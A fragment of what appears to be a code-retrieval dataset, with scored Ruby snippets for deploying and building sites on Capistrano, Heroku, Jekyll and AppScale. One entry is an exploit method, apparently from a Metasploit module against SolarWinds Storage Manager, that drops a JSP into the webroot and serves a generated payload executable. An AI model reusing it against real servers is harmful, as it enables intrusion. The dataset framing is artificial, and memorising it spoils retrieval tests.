say \"Done! Jenkins CI hosted at \"; say \"http://#{public_hostname}\", :green\n else\n say \"\"\n say \"Almost there...\"\n say \"* Boot your environment via https://cloud.engineyard.com\", :yellow\n end\n end\n end", "title": "" }, { "docid": "efa7c4d8c98836fd0e2ae86d543b6e16", "score": "0.54483783", "text": "def cap_deploy(site, env, maintenance_flag, action=\"deploy\")\n\t\tif action == \"deploy\"\n\t\t\ts3object = @options[:s3object] || \"\"\n\t\t\tprint_disclaimer(\"call cap #{env} #{site}\")\n\t\t\tsystem \"cap #{env} #{site} BEAVER_S3_OBJECT_PATH=#{s3object}\"\n\t\telsif action == \"rollback\"\n\t\t\tprint_disclaimer(\"call cap #{env} #{site}:#{action}\")\n\t\t\tsystem \"cap #{env} #{site}:#{action}\"\n\t\tend\n\tend", "title": "" }, { "docid": "703c4c5d8f3690f3e4d825e8d66b3033", "score": "0.543797", "text": "def deploy(id, host, remote_dfile, not_used)\n\n local_dfile = get_local_deployment_file(remote_dfile)\n\n if !local_dfile || File.zero?(local_dfile)\n send_message(ACTION[:deploy],RESULT[:failure],id,\n \"Can not open deployment file #{local_dfile}\")\n return\n end\n\n tmp = File.new(local_dfile)\n domain = tmp.read\n tmp.close()\n\n images_path = File.dirname remote_dfile\n cmd = \"mkdir -p #{images_path} && cat > #{remote_dfile} && \" \\\n \"#{LIBVIRT[:create]} #{remote_dfile}\"\n\n deploy_exe = SSHCommand.run(\"'#{cmd}'\", host, log_method(id), domain)\n\n if deploy_exe.code != 0\n send_message(ACTION[:deploy],RESULT[:failure],id)\n elsif deploy_exe.stdout.match(/^Domain (.*) created from .*$/)\n send_message(ACTION[:deploy],RESULT[:success],id,$1)\n else\n send_message(ACTION[:deploy],RESULT[:failure],id,\n \"Domain id not found in #{LIBVIRT[:create]} output.\")\n end\n end", "title": "" }, { "docid": "808a75225001b97c263e12b2c3e22f68", "score": "0.5426525", "text": "def create_site\n # see if the site already exists\n abort \"'#{site}' already exists\" if test ?e, site\n\n # copy over files from the data directory\n files = site_files\n\n files.keys.sort.each do |dir|\n mkdir dir\n files[dir].sort.each {|file| cp file}\n end\n nil\n end", "title": "" }, { "docid": "3f20da520bf223b1c0b730bbb4742734", "score": "0.5395022", "text": "def create_deploy\n @@tpl = CapistranoDeployGenerator.source_root\n empty_directory \"config/deploy\"\n\n say <<-EOF\n\nconfig/deploy.rb generator\n\nThis menu will help you creating deployment configuration file\ndeploy.rb for Capistrano. It is safe to acceppt defulat values for\nmost or all questions. Just hit Enter if default is provided.\n\nAll values can be changed later in the file itself or you can re-run\ngenerator again.\n\nEOF\n template \"deploy.rb.erb\", \"config/deploy.rb\"\n @stages.each do |stage|\n template \"staging.rb.erb\", \"config/deploy/#{stage}.rb\" \n end\n say \"Please edit manually configuration of the multi-staging files:\"\n @stages.map { |x| say \"./confg/deploy/#{x}.rb\\n\"}\n end", "title": "" }, { "docid": "d2f88d9223e2eedd5aff846659bc23b6", "score": "0.5383378", "text": "def compile(target_path:)\n target_path = Pathname.new(target_path)\n mkdir_p target_path\n root = Pathname.new(\"/\")\n cache_resources = @site.cache_resources\n @stdout.puts \"Compiling #{@site.root_path.expand_path}\"\n begin\n @site.cache_resources = true\n @site.resources.each do |resource|\n derooted = Pathname.new(resource.request_path).relative_path_from(root)\n path = target_path.join(derooted)\n mkdir_p path.dirname\n @stdout.puts \" #{path}\"\n File.open(path.expand_path, \"w\"){ |f| f.write render(resource) }\n end\n @stdout.puts \"Successful compilation to #{target_path.expand_path}\"\n ensure\n @site.cache_resources = cache_resources\n end\n end", "title": "" }, { "docid": "ade96cc3edb881af11c0f7d088241c84", "score": "0.5381887", "text": "def prod_db2dev\n exit_if_production\n prod_db_backup\n prod_db_pull\n prod_db_load\n end", "title": "" }, { "docid": "c2fc86a6c9ce25c892e3db627f38294e", "score": "0.5369172", "text": "def include_www\n puts \"Copying your web app directory\"\n FileUtils.mkdir_p File.join(@output_dir, \"assets\", \"www\")\n FileUtils.cp_r File.join(@www, \".\"), File.join(@output_dir, \"assets\", \"www\")\n end", "title": "" }, { "docid": "41eec1bcdb548d8b7a4ebf751ab015cb", "score": "0.5353251", "text": "def deploy_dir\n return @deploy_dir if @deploy_dir # user configuration\n\n case @server\n when 'Tomcat'\n raise 'Configure container root directory' unless @root\n return File.join(@root,'webapps')\n\n when 'JBoss/Tomcat'\n raise \"Please configure deploy directory for JBoss.\"\n\n end\n end", "title": "" }, { "docid": "fa529c91196425e870624a644f90614c", "score": "0.5335454", "text": "def exploit\r\n\t\t# Avoid passing this as an argument for performance reasons\r\n\t\t# This is in base64 is make sure our file isn't mangled\r\n\t\t@native_payload = [generate_payload_exe].pack(\"m*\")\r\n\t\t@native_payload_name = rand_text_alpha(rand(6)+3)\r\n\t\t@jsp_name = rand_text_alpha(rand(6)+3)\r\n\t\t@outpath = \"\\\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\\\"\"\r\n\r\n\t\tbegin\r\n\t\t\tt = framework.threads.spawn(\"reqs\", false) { inject_exec }\r\n\t\t\tprint_status(\"Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}\")\r\n\t\t\tsuper\r\n\t\tensure\r\n\t\t\tt.kill\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "909e88c7d5f8731e2dff122c6b1d4d5f", "score": "0.5331983", "text": "def process_site(site)\n site.process\n rescue Jekyll::FatalException => e\n Jekyll.logger.error \"ERROR:\", \"YOUR SITE COULD NOT BE BUILT:\"\n Jekyll.logger.error \"\", \"------------------------------------\"\n Jekyll.logger.error \"\", e.message\n exit(1)\n end", "title": "" }, { "docid": "05b694f5cbf859fc5f0aa09647dbc171", "score": "0.53186256", "text": "def deploy_heroku(name, app_url)\n deploy_loader = loader(\"Deploying and running installation of app...\", nil)\n branch_name = \"#{name}#{Time.now.strftime(\"%d-%m-%Y-%H-%M\")}\"\n url = get_stripped_url(app_url, false)\n stripped_url = get_stripped_url(app_url, true)\n @cmd.run(\"rm -rf .git\")\n @cmd.run(\"git init\")\n @cmd.run(\"heroku git:remote -a #{name}\")\n @cmd.run(\"heroku config:set SECRET_KEY_BASE=$(rake secret)\") rescue TTY::Command::ExitError\n @cmd.run(\"heroku config:set APP_URL=#{url}\") rescue TTY::Command::ExitError\n @cmd.run(\"heroku config:set APP_STRIPPED_URL=#{stripped_url}\") rescue TTY::Command::ExitError\n unless @cmd.run(\"heroku addons\").out.include? \"heroku-redis\"\n begin\n @cmd.run(\"heroku addons:create heroku-redis:hobby-dev\")\n rescue TTY::Command::ExitError\n error_box(\"App #{name} failed. Please ensure that you are on the Hobby Dev payment tier or above.\")\n raise ArgumentError\n end\n end\n unless @cmd.run(\"heroku domains -a #{name}\").out.include? stripped_url\n begin\n @cmd.run(\"heroku domains:add #{stripped_url} -a #{name}\")\n rescue TTY::Command::ExitError\n error_box(\"Setting custom URL #{stripped_url} failed.\")\n raise ArgumentError\n end\n end\n unless @cmd.run(\"heroku buildpacks -a #{name}\").out.include? \"apt\"\n begin\n @cmd.run(\"heroku buildpacks:add --index 1 https://github.com/heroku/heroku-buildpack-apt.git -a #{name}\")\n @cmd.run(\"heroku buildpacks:add --index 2 heroku/ruby -a #{name}\")\n @cmd.run(\"heroku config:set GI_TYPELIB_PATH=/app/.apt/usr/lib/x86_64-linux-gnu/girepository-1.0\") rescue TTY::Command::ExitError\n rescue TTY::Command::ExitError\n error_box(\"Setting buildpacks failed.\")\n raise ArgumentError\n end\n end\n\n @cmd.run(\"git config --global core.autocrlf true\")\n @cmd.run(\"git checkout -b #{branch_name}\")\n @cmd.run(\"git add .\")\n @cmd.run(\"git add -f config\")\n @cmd.run(\"git commit -m '#{name}'\")\n @cmd.run(\"git push -f heroku #{branch_name}:main\")\n deploy_loader.stop\n stripped_url\nend", "title": "" }, { "docid": "a6a5d859ad6481bc43b39dad31bc4958", "score": "0.53142965", "text": "def index\n branch = shift_argument || 'master'\n validate_arguments!\n\n Heroku::Auth.check\n\n unless remotes = git_remotes\n error('No Heroku remotes detected.'.red)\n end\n\n unless remote = remotes.key(app)\n error(\"Remote for #{app} was not found.\".red)\n end\n\n begin\n pack = Pack.detect.new(app, remote, options)\n pack.deploy!(branch)\n display('Deployment successful.'.green)\n rescue Pack::NotFound\n error('No suitable deploy pack found.'.red)\n rescue Pack::AmbiguousApp\n error('Ambiguous application, multiple deploy packs apply.'.red)\n rescue CommandExecutionFailure\n error('Deployment aborted.'.red.blink)\n end\n end", "title": "" }, { "docid": "a9b3d13790aea3fc05abe6d2694f3cb1", "score": "0.5311692", "text": "def compile\n download_jonas\n download_deployme\n remove_jcl_over_slf\n puts 'Compile completed, release cmd to be run:'\n puts release\n end", "title": "" }, { "docid": "67abec9c16015d70ddb15709c80ba8c2", "score": "0.5307646", "text": "def perform_upload_vhost!\n find_nginx!\n \n if not e.directory?(@nginx_vhosts_dir)\n error \"Could not upload your vhost because the vhost directory does not exist on the server.\"\n error \"Did you run #{y(\"heavenly nginx setup for #{e.name}\")} yet?\"\n exit\n end\n \n vhost_file = File.join(local.gitpusshuten_dir, 'nginx', \"#{e.name}.vhost\")\n if File.exist?(vhost_file)\n message \"Uploading #{y(vhost_file)} to \" + y(File.join(@nginx_vhosts_dir, \"#{e.sanitized_app_name}.#{e.name}.vhost!\"))\n \n prompt_for_root_password!\n \n Spinner.return :message => \"Uploading vhost..\" do\n e.scp_as_root(:upload, vhost_file, File.join(@nginx_vhosts_dir, \"#{e.sanitized_app_name}.#{e.name}.vhost\"))\n g(\"Finished uploading!\")\n end\n \n perform_restart!\n else\n error \"Could not locate vhost file #{y(vhost_file)}.\"\n error \"Did you run #{y(\"heavenly nginx setup for #{e.name}\")} yet?\"\n exit\n end\n end", "title": "" }, { "docid": "55ef9753f2457bd03dd9215d3bf369e0", "score": "0.53074294", "text": "def process\n\t\t\t\tbegin\n\t\t\t\t\t@site_name = self.args.join\n\t\t\t\t\tFileUtils.mkdir @site_name\n\t\t\t\t\tFileUtils.cp_r Dir.glob(File.expand_path('../../../new_site', __FILE__) + '/*'), File.join(self.source, @site_name)\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"pages\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/images\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/videos\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/sounds\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"includes\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"plugins\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"extras\")\n\t\t\t\t\tdefault_page\n\n\t\t\t\t\tp \"#{@site_name} created.\"\n\t\t\t\trescue Exception => e\n\t\t\t\t\tp e\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "8cd33a68a7682e6f6b1ffbb47c777757", "score": "0.53070205", "text": "def deploy\n project = Project.find(params[:project_id])\n location = project.locations.find(params[:location_id])\n location.deploy if location.present? && location.distance.present?\n\n head :ok\n end", "title": "" }, { "docid": "761f2f27246fba8abc1e5845d7b92643", "score": "0.52989334", "text": "def generate_java()\n Djinn.log_run(\"cp -r /root/appscale/AppServer_Java/error_app/* #{@dir_path}\")\n app_xml =<<CONFIG\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<appengine-web-app xmlns=\"http://appengine.google.com/ns/1.0\">\n <application>#{@app_name}</application>\n <version>badversion</version>\n <threadsafe>true</threadsafe>\n\n</appengine-web-app>\nCONFIG\n \n HelperFunctions.write_file(\"#{@dir_path}/war/WEB-INF/appengine-web.xml\",\n app_xml)\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} ./*\")\n end\n\n return true\n end", "title": "" }, { "docid": "095db4499dbec44dda78d0bb1affc610", "score": "0.5298865", "text": "def deploy!(options={})\n params = {}\n params['api_key'] = @api_key\n params['deploy[rails_env]'] = options[:framework_env] || 'development'\n params['deploy[local_username]'] = options[:username] || %x(whoami).strip\n params['deploy[scm_repository]'] = options[:scm_repository]\n params['deploy[scm_revision]'] = options[:scm_revision]\n response(@deploy_url, params)\n end", "title": "" }, { "docid": "493b29408838c569827cd7201a453689", "score": "0.529337", "text": "def deploy\n if @base_modules.nil?\n load_puppetfile_modules\n end\n\n if ! @base_modules.empty?\n pool_size = @overrides.dig(:modules, :pool_size)\n updated_modules = R10K::ContentSynchronizer.concurrent_sync(@base_modules, pool_size, logger)\n end\n\n if (@overrides.dig(:purging, :purge_levels) || []).include?(:puppetfile)\n logger.debug(\"Purging unmanaged Puppetfile content for environment '#{dirname}'...\")\n @puppetfile_cleaner.purge!\n end\n\n updated_modules\n end", "title": "" }, { "docid": "2840e4b2745b713152defc57c67fd548", "score": "0.5289293", "text": "def deploy_organization\n name, app_url = configure_heroku\n log_url = \"https://dashboard.heroku.com/apps/#{name}/logs\"\n success_box(\"Your app #{name} is now deployed at #{app_url}! If you encounter any issues, check the logs at #{log_url}.\")\n dns_target = get_heroku_dns_target(name, app_url)\n unless dns_target.nil?\n box(\"NOTE: Since you configured a custom host URL (#{app_url}), you must set your URL's DNS settings to point to #{dns_target} before using the app if you haven't already. You can find more info #{TTY::Link.link_to(\"here.\", \"http://url.perlmutterapp.com/custom-url\")}\")\n end\nend", "title": "" }, { "docid": "ee82092aa137f8a031af79242d9770ae", "score": "0.5284728", "text": "def action_before_deploy\n install_packages\n end", "title": "" }, { "docid": "ee4b006b6b53c0703dfad384d921cf8c", "score": "0.5278422", "text": "def run_worker(server_name)\n if !server_name.empty?\n %x| #{app_root}/bin/goliath s -e production -s #{server_name}|\n else\n %x| #{app_root}/bin/goliath s -e production|\n end\n end", "title": "" }, { "docid": "36f67414b9d75aa59dfccfed1aa0b3ac", "score": "0.5271911", "text": "def deploy!\n write_previous_revision\n update_repository\n write_revision\n end", "title": "" }, { "docid": "564497d9bafd9e0d0580b32ed86465e6", "score": "0.52694273", "text": "def create_site\n files = site_files\n\n # in update mode we only want to update the tasks directory\n if options[:update]\n FileUtils.mkdir_p site unless pretend?\n mkdir 'tasks'\n files['tasks'].sort.each {|file| cp file}\n else\n dirs = files.keys.concat %w[content layouts lib tasks templates]\n dirs.sort!\n dirs.uniq!\n\n # create the directories first\n dirs.each do |dir|\n next if dir =~ %r/^output\\/.*$/\n mkdir dir\n end\n\n # and the create the files under each directory\n dirs.each do |dir|\n next if dir =~ %r/^output(\\/.*)?$/\n files[dir].sort.each {|file| cp file}\n end\n end\n end", "title": "" }, { "docid": "cdb8708ab6063e67faa561636fcdb0af", "score": "0.5262626", "text": "def execute site\n @cache = Aweplug::Cache.default site # default cache here shouldn't matter.\n init_faraday(site)\n\n ids = []\n if @url.start_with? 'http'\n demos = YAML.load(@faraday.get(@url).body)\n else\n demos = YAML.load(File.open(@url))\n end\n if demos\n Parallel.each(demos, :in_threads => (site.build_threads || 0)) do |url|\n next if @excludes.include?(url)\n begin\n build(url, site, ids)\n rescue Exception => e\n Awestruct::ExceptionHelper.log_message \"Error building demo from #{url}\"\n Awestruct::ExceptionHelper.log_building_error e, '' # We don't have a page source for this\n end\n end\n end\n end", "title": "" }, { "docid": "9cad69be45fe3810ea024f6f178d853b", "score": "0.5261387", "text": "def deploy!\n if copy_cache\n if File.exists?(copy_cache)\n logger.debug \"refreshing local cache to revision #{revision} at #{copy_cache}\"\n system(source.sync(revision, copy_cache))\n else\n logger.debug \"preparing local cache at #{copy_cache}\"\n system(source.checkout(revision, copy_cache))\n end\n\n # Check the return code of last system command and rollback if not 0\n unless $? == 0\n raise Capistrano::Error, \"shell command failed with return code #{$?}\"\n end\n\n FileUtils.mkdir_p(destination)\n\n logger.debug \"copying cache to deployment staging area #{destination}\"\n Dir.chdir(copy_cache) do\n queue = Dir.glob(\"*\", File::FNM_DOTMATCH)\n while queue.any?\n item = queue.shift\n name = File.basename(item)\n\n next if name == \".\" || name == \"..\"\n next if copy_exclude.any? { |pattern| File.fnmatch(pattern, item) }\n\n if File.symlink?(item)\n FileUtils.ln_s(File.readlink(item), File.join(destination, item))\n elsif File.directory?(item)\n queue += Dir.glob(\"#{item}/*\", File::FNM_DOTMATCH)\n FileUtils.mkdir(File.join(destination, item))\n else\n FileUtils.ln(item, File.join(destination, item))\n end\n end\n end\n else\n logger.debug \"getting (via #{copy_strategy}) revision #{revision} to #{destination}\"\n system(command)\n\n if copy_exclude.any?\n logger.debug \"processing exclusions...\"\n if copy_exclude.any?\n copy_exclude.each do |pattern|\n delete_list = Dir.glob(File.join(destination, pattern), File::FNM_DOTMATCH)\n # avoid the /.. trap that deletes the parent directories\n delete_list.delete_if { |dir| dir =~ /\\/\\.\\.$/ }\n FileUtils.rm_rf(delete_list.compact)\n end\n end\n end\n end\n\n # merge stuffs under specific dirs\n if configuration[:merge_dirs]\n configuration[:merge_dirs].each do |dir, dest|\n from = Pathname.new(destination) + dir\n to = Pathname.new(destination) + dest\n logger.trace \"#{from} > #{to}\"\n FileUtils.mkdir_p(to)\n FileUtils.cp_r(Dir.glob(from), to)\n end\n end\n\n # for a rails application in sub directory\n # set :deploy_subdir, \"rails\"\n if configuration[:deploy_subdir]\n subdir = configuration[:deploy_subdir]\n logger.trace \"deploy subdir #{destination}/#{subdir}\"\n Dir.mktmpdir do |dir|\n FileUtils.move(\"#{destination}/#{subdir}\", dir)\n FileUtils.rm_rf destination rescue nil\n FileUtils.move(\"#{dir}/#{subdir}\", \"#{destination}\")\n end\n end\n\n File.open(File.join(destination, \"REVISION\"), \"w\") { |f| f.puts(revision) }\n\n logger.trace \"compressing #{destination} to #{filename}\"\n Dir.chdir(copy_dir) { system(compress(File.basename(destination), File.basename(filename)).join(\" \")) }\n\n distribute!\n ensure\n puts $! if $!\n FileUtils.rm filename rescue nil\n FileUtils.rm_rf destination rescue nil\n FileUtils.rm_rf copy_subdir rescue nil\n end", "title": "" }, { "docid": "a7b95e53f2642b04520ba537d21f706c", "score": "0.5249368", "text": "def generate_python()\n app_yaml = <<CONFIG\napplication: #{@app_name}\nversion: 1\nruntime: python27\napi_version: 1\nthreadsafe: true\n\nhandlers:\n- url: /.*\n script: #{@app_name}.application\nCONFIG\n\n script = <<SCRIPT\nimport webapp2\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n self.response.out.write('<html><body>')\n self.response.out.write(\"\"\"<p>Your application failed to start</p>\"\"\")\n self.response.out.write(\"\"\"<p>#{@error_msg}</p>\"\"\")\n self.response.out.write(\"\"\"<p>If this is an AppScale issue please report it on <a href=\"https://github.com/AppScale/appscale/issues\">http://github.com/AppScale/appscale/issues</a></p>\"\"\")\n self.response.out.write('</body></html>')\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage),\n], debug=True)\n\nSCRIPT\n\n HelperFunctions.write_file(\"#{@dir_path}app.yaml\", app_yaml)\n HelperFunctions.write_file(\"#{@dir_path}#{@app_name}.py\", script)\n\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} app.yaml #{@app_name}.py\")\n end\n\n return true\n end", "title": "" }, { "docid": "af9f005002036c55b9e071abfa3472b3", "score": "0.524882", "text": "def generate()\n app_yaml = <<CONFIG\napplication: #{@app_name}\nversion: 1\nruntime: python27\napi_version: 1\nthreadsafe: true\n\nhandlers:\n- url: /.*\n script: #{@app_name}.application\nCONFIG\n\n script = <<SCRIPT\nimport webapp2\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n self.response.out.write('<html><body>')\n self.response.out.write(\"\"\"<p>Your application failed to start</p>\"\"\")\n self.response.out.write(\"\"\"<p>#{@error_msg}</p>\"\"\")\n self.response.out.write(\"\"\"<p>If this is an AppScale issue please report it on <a href=\"https://github.com/AppScale/appscale/issues\">http://github.com/AppScale/appscale/issues</a></p>\"\"\")\n self.response.out.write('</body></html>')\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage),\n], debug=True)\n\nSCRIPT\n\n HelperFunctions.write_file(\"#{@dir_path}app.yaml\", app_yaml)\n HelperFunctions.write_file(\"#{@dir_path}#{@app_name}.py\", script)\n\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} app.yaml #{@app_name}.py\")\n end\n\n return true\n end", "title": "" }, { "docid": "cbb8eb049a1d264af01d1cdab4027b4e", "score": "0.5239598", "text": "def ship_db\n result = `ssh -t #{USERNAME}@#{STAGING_SERVER} 'rsync /tmp/#{SITECODE}.sql #{USERNAME}@#{PRODUCTION_SERVER}:/tmp/#{SITECODE}.sql'`\n if $?.success?\n puts 'Database shipped to prod.'\n else\n puts 'FAILED shipping database to prod.'\n puts result\n exit(3)\n end\nend", "title": "" }, { "docid": "cce98b8b0f4f6cab809d809d1b105d70", "score": "0.52311563", "text": "def deploy\n Kb8Run.update_context(@kb8context)\n @deploy_units.each do | deploy_unit |\n deploy_unit.deploy\n end\n end", "title": "" }, { "docid": "83f31d94f0a7221d49bc26285b47feb1", "score": "0.5230714", "text": "def add_wpcontent(sharedPath, application)\n Chef::Log.info \"Caylent-deploy.add_wpcontent:Wordpress add copy from #{node[:deploy][application][:current_path]}/wp-content\"\n Chef::Log.info \"Caylent-deploy.add_wpcontent:Wordpress add copy to #{sharedPath}\"\n execute \"copy wordpress framework\" do\n command \"rsync --recursive --compress #{node[:deploy][application][:current_path]}/wp-content/* #{sharedPath}\"\n only_if { File.exists?(\"#{node[:deploy][application][:current_path]}/wp-content\")}\n end\n \n end", "title": "" }, { "docid": "0b86cd6227299da5f4b77244a02e0d65", "score": "0.5220411", "text": "def deploy repository, branch\n\n super do\n section \"Installing dependencies with #{`bundle -v`.chomp}...\" do\n install_dependencies\n end\n\n section \"Precompiling assets...\" do\n precompile_assets\n end if precompile_assets?\n end\n\n end", "title": "" }, { "docid": "77f209272b1c7d835866be91dacc1b0a", "score": "0.5218939", "text": "def build\n Bridgetown.logger.adjust_verbosity(options)\n\n unless caller_locations.find do |loc|\n loc.to_s.include?(\"bridgetown-core/commands/start.rb\")\n end\n self.class.print_startup_message\n end\n\n # @type [Bridgetown::Configuration]\n config_options = configuration_with_overrides(\n options, Bridgetown::Current.preloaded_configuration\n )\n\n config_options.run_initializers! context: :static\n\n config_options[\"serving\"] = false unless config_options[\"serving\"]\n\n if !Bridgetown.env.production? &&\n !config_options[:skip_frontend] && config_options[\"using_puma\"]\n if Bridgetown::Utils.frontend_bundler_type(config_options[:root_dir]) == :esbuild\n Bridgetown::Utils.update_esbuild_autogenerated_config config_options\n end\n require \"rake\"\n Rake.with_application do |rake|\n rake.load_rakefile\n rake[\"frontend:watcher\"].invoke(true)\n end\n end\n\n @site = Bridgetown::Site.new(config_options)\n\n if config_options.fetch(\"skip_initial_build\", false)\n Bridgetown.logger.warn \"Build Warning:\", \"Skipping the initial build. \" \\\n \"This may result in an out-of-date site.\"\n else\n build_site(config_options)\n end\n\n if config_options.fetch(\"detach\", false)\n Bridgetown.logger.info \"Auto-regeneration:\",\n \"disabled when running server detached.\"\n elsif config_options.fetch(\"watch\", false)\n watch_site(config_options)\n else\n Bridgetown.logger.info \"Auto-regeneration:\", \"disabled. Use --watch to enable.\"\n end\n end", "title": "" }, { "docid": "84eaac49e7c68cfb0a96fd1eee53ae1d", "score": "0.5218584", "text": "def deploy(attrs)\n Deployment.deploy(api, self, attrs)\n end", "title": "" }, { "docid": "56a22cbb8b442981ce6a043a99f23e70", "score": "0.5213285", "text": "def update_site\n # ensure the site already exists\n abort \"'#{site}' does not exist\" unless test ?d, site\n\n # copy over files from the data/tasks directory\n files = site_files\n\n mkdir 'tasks'\n files['tasks'].sort.each {|file| cp file}\n\n nil\n end", "title": "" }, { "docid": "ef4352b39f2d483da65bed08ddb0003d", "score": "0.5210951", "text": "def release\n diagnostic_file = File.join JONAS_ROOT, \"diagnostics\", 'launch_jonas_diags.rb'\n diagnostics_cmd = \"ruby #{diagnostic_file}\"\n app_war_file = File.join JONAS_BASE, 'deploy' , 'app.war'\n if_jonas_base_exists_string = \"(if test ! -d #{app_war_file} ; then\"\n java_home_string = \"JAVA_HOME=#{@java_home}\"\n java_opts_string = \"JAVA_OPTS=\\\"#{ContainerUtils.to_java_opts_s(@java_opts)}\\\"\"\n export_base_vars_string = 'export JAVA_HOME JAVA_OPTS'\n export_deployme_vars_string = 'export JONAS_ROOT JONAS_BASE'\n deployme_var_string = \"JONAS_ROOT=#{JONAS_ROOT} JONAS_BASE=#{JONAS_BASE}\"\n deployme_root = File.join JONAS_ROOT, 'deployme'\n topology_xml_erb_file = File.join deployme_root, 'topology.xml.erb'\n topology_xml_file = File.join deployme_root, 'topology.xml'\n deployme_jar_file = File.join deployme_root, 'deployme.jar'\n topology_erb_cmd_string = \"erb #{topology_xml_erb_file} > #{topology_xml_file}\"\n deployme_cmd_string = \"$JAVA_HOME/bin/java -jar #{deployme_jar_file} -topologyFile=#{topology_xml_file} -domainName=singleDomain -serverName=singleServerName\"\n else_skip_string = 'else echo \"skipping jonas_base config as already present\"; fi)'\n setenv_cmd_string = File.join JONAS_BASE, 'setenv'\n copyapp_cmd = \"mkdir -p #{app_war_file} && cp -r --dereference * #{app_war_file}/\"\n start_script_string = \"source #{setenv_cmd_string} && jonas start -fg\"\n\n \"(#{diagnostics_cmd} & ); #{java_home_string} #{java_opts_string} && #{export_base_vars_string} && #{if_jonas_base_exists_string} #{deployme_var_string} && #{export_deployme_vars_string} && #{topology_erb_cmd_string} && #{deployme_cmd_string} && #{copyapp_cmd}; #{else_skip_string} && #{start_script_string}\"\n end", "title": "" }, { "docid": "041326d01fe1a55a3823972a18616b0f", "score": "0.5199508", "text": "def release\n jvm_options\n\n server_dir = ' wlp/usr/servers/' << server_name << '/'\n write_server_name\n runtime_vars_file = server_dir + 'runtime-vars.xml'\n create_vars_string = File.join(LIBERTY_HOME, 'create_vars.rb') << runtime_vars_file << ' &&'\n create_jdk_memory_string = ContainerUtils.space(File.join(LIBERTY_HOME, 'calculate_memory.rb') << ' &&')\n skip_maxpermsize_string = ContainerUtils.space('WLP_SKIP_MAXPERMSIZE=true')\n java_home_string = ContainerUtils.space(\"JAVA_HOME=\\\"$PWD/#{@java_home}\\\"\")\n wlp_user_dir_string = ContainerUtils.space('WLP_USER_DIR=\"$PWD/wlp/usr\"')\n server_script_string = ContainerUtils.space(\"exec #{File.join(LIBERTY_HOME, 'bin', 'server')}\")\n path_string = ContainerUtils.space('PATH=$PWD/.ruby/bin:$PATH') << ' &&'\n\n if File.exist?('/tmp/ruby')\n start_command = \"#{path_string}#{create_vars_string}#{create_jdk_memory_string}#{skip_maxpermsize_string}#{java_home_string}#{wlp_user_dir_string}#{server_script_string} run #{server_name}\"\n else\n start_command = \"#{create_vars_string}#{create_jdk_memory_string}#{skip_maxpermsize_string}#{java_home_string}#{wlp_user_dir_string}#{server_script_string} run #{server_name}\"\n end\n move_app\n\n start_command\n end", "title": "" }, { "docid": "6583d1c7238bc5d441c8e9f4612cbc60", "score": "0.5197425", "text": "def build_site_command(destination=nil, staging_url='')\n config = '_config.staging.yml'\n generate_staging_config(staging_url, config) unless staging_url.empty?\n\n args = []\n args.concat ['--destination', destination] unless destination.nil?\n\n if File.exists? config\n args.concat ['--config', \"_config.yml,#{config}\"]\n end\n\n ['bundle', 'exec', 'jekyll', 'build', *args]\nend", "title": "" }, { "docid": "063c0f4306ffcde5427fa791dd1949d1", "score": "0.5191862", "text": "def build_site_command(destination=nil)\n staging_config_file = '_config.staging.yml'\n args = []\n args.concat ['--destination', destination] unless destination.nil?\n\n if File.exists? staging_config_file\n args.concat ['--config', \"_config.yml,#{staging_config_file}\"]\n end\n\n ['bundle', 'exec', 'jekyll', 'build', *args]\nend", "title": "" }, { "docid": "33cda4b148058be85719d1208978ade1", "score": "0.5190884", "text": "def custom_capify(data={}, config=nil)\n # defaults\n data[:server_url] = \"\"\n data[:branch] = \"master\"\n\n FileUtils.mkdir_p AppDirectory.deploy\n\n build_capfile\n\n deploy_rb = AppDirectory.config.join('deploy.rb')\n build_template(\"templates/deploy.rb.erb\", deploy_rb, binding)\n\n FileUtils.mkdir_p AppDirectory.tasks\n\n puts I18n.t :capified, scope: :negroku\n\n end", "title": "" }, { "docid": "4e1855a0a7e90d4b832adbf538a8c9f0", "score": "0.5185766", "text": "def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend", "title": "" }, { "docid": "4e1855a0a7e90d4b832adbf538a8c9f0", "score": "0.5185766", "text": "def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend", "title": "" } ]
cfb8db8c2c40c70e9e5eabaca048ef98
add tag(s) to last pic
[ { "docid": "885eefaf614f66fdce4006142115fe34", "score": "0.61753", "text": "def cmd_tag_last(message, command)\n chat_id = message.chat.id\n return unless (last_pic_id=last_pic(chat_id))\n set_cooldown(chat_id, TAG_COOLDOWN)\n tags = command.split[1..-1] # /cmd tag1 tag2 ...\n tag_pic(last_pic_id, tags)\n end", "title": "" } ]
